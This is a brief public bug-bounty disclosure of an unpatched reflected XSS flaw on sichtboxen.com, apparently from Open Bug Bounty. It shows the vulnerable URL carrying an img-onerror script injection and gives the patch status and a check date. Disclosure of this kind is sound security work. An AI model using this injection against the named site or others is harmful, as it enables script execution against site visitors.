sichtboxen.com XSS vulnerability

Vulnerable URL: https://www.sichtboxen.com/suche/%3cimg%20src=x%20onerror=prompt'OPENBUGBOUNTY'%3e/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2326965 VIP website status:| No...